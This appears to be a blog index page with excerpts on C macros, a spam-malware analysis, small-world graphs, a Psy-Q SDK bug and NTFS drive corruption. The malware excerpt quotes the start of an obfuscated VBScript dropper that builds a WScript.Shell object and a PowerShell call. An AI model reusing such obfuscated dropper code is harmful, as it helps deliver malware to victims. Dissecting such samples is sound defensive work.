How I Learned to Stop Worrying and Love Macros

Rust macros are powerful, that's a fact. I mean, they allow running any code at compile-time, of course they're powerful.

C macros, which are at the end of the day nothing more than glorified text substitution rules, allow you to implement new, innovative, modern language constructs, such as:

#define ever (;;)
for ever { 

or even:

#include <iostream>
#define System S s;s
#define public
#define static
#define void int
#define main(x) main()
struct F{void println(char* s){std::cout << s << std::endl;}};
struct S{F out;};

public static void main(String[] args) {
	System.out.println("Hello World!");

But these are just silly examples written for fun. Nobody would ever commit such macro abuse in real-world, production code. Nobody...

/*	mac.h	4.3	87/10/26	*/

 *	UNIX shell
 *	S. R. Bourne
 *	Bell Telephone Laboratories

#define IF		if(
#define THEN	){
#define ELSE	} else {
#define ELIF	} else if (
#define FI		;}

#define BEGIN	{
#define END		}
#define SWITCH	switch(
#define IN		){
#define ENDSW	}
#define FOR		for(
#define WHILE	while(
#define DO		){
#define OD		;}
#define REP		do{
#define PER		}while(
#undef DONE
#define DONE	);
#define LOOP	for(

Quick analysis of a virus

I just received a spam e-mail impersonating the French social security ("Assurance Maladie"), which tells me to download my tax statement which they have graciously attached.

There are multiple things to notice here:

  • the sender address: [email protected]
  • is used by Office 365 addresses, so they probably used Azure or something like that
  • the whole message is a picture, probably a screenshot of a real e-mail. Well, at least that way they don't write a fake message in broken Google-Translated French

Now, the attachments.

No PDF file, that's unusual, it's quite common for this kind of spam, but rejoice! we have a VBScript file right there.

(the CSV file and the .bin file don't contain anything interesting, or at least I didn't find anything interesting in them)

Here is the VBS file, raw as I received it:

on error resume next:on error resume next:on error resume next:on error resume next:on error resume next:on error resume next:on error resume next:on error resume next:JPHgjNP = replace("WiDDXetmcript.iDDXetmhEll","iDDXetm","s"):Set cfAKtQG = CreateObject(JPHgjNP ):izZHSpc = Replace("POWlZsTwIURSHlZsTwIULL","lZsTwIU","E"):WScript.Sleep 2000:WScript.Sleep 2000:cfAKtQGcfAKtQGNXPDFLW = "  $00Q1KNH<##>='(New-';

Six handshakes away

Have you ever heard about "six degrees of separation"? It's about the famous idea that there are always less than about six persons between two individuals chosen at random in a population. Given enough people, you'll always find someone whose uncle's colleague has a friend that knows your nextdoor neighbour.

Fun fact: it's where the name of the long-forgotten social network came from.

Mathematically, it checks out. If you have 10 friends and each of those friends has 10 friends, in theory that's a total of 1+10+9*10=101 individuals. In practice, when you have 10 friends, they probably know each other as well, and their friends most probably do too. You end up with way fewer than 101 people, and no two persons in your "social graph" ever end up more than one or two handshakes away from each other.

In graph theory, those kinds of graphs where you have densely connected communities, linked together by "hubs", i.e. high-degree nodes, are called "small-world networks".

Oh you know Bob? Isn't it a small world!

I learned about it a few weeks ago in a very nice (French) video on the subject, and immediately thought "I

Fix for the Psy-Q Saturn SDK

If you ever want to write code for the Sega Saturn using the Psy-Q SDK (available here), you may encounter a small problem with the toolset when using #include directives.


#include "abc.h"

int main()
    int b = a + 43;
    return 0;
C:\Psyq\bin>ccsh -ITHING/ -S main.c
int a = 98;

This will crash with the following error: main.c:1: abc.h: No such file or directory, which is quite strange given that we explicitely told the compiler to look in that THING folder.

What we have:

  • CCSH.EXE : main compiler executable (C Compiler Super-H)
  • CPPSH.EXE preprocessor (C PreProcessor Super-H)

CCSH calls CPPSH with the source file first to get a raw code file to compile, and then actually compiles it. Here, we can see by running CPPSH alone that it still triggers the error, which means the problem effectively comes from CPPSH. After a thorough analysis in Ida, it seems that even though the code that handles parsing the command-line parameters related to include directories, those paths aren't actually added to the program's internal directory array and thus never actually

Solving bizarre hard drive corruption issues

I've recently encountered some pretty weird problems with my two USB3 external hard drives. Disk disconnecting when opening specific files, and refusing to reconnect on the computer until I plug it into another computer, then it works again, and so on.

Then I started noticing a pattern. The files that trigger the crash are always files that I have opened on another computer with that hard drive, which should give you a clue on what this might be about.

It seems that there's a bug in Windows' drive ejection system, which basically means that if you plug a hard drive on a computer, open a file in any software that keeps the descriptor open all the time (I'm looking at you, IDA Pro), and then eject the drive without closing the software first (which sometimes happens), the file will somehow still be marked as open in the NTFS attributes, and when you'll try to open it on another computer, Windows will flip out and disconnect the hard drive. And until you plug the HDD back on the other computer, it will refuse to read it on the first one, showing as RAW in the management console, even in another OS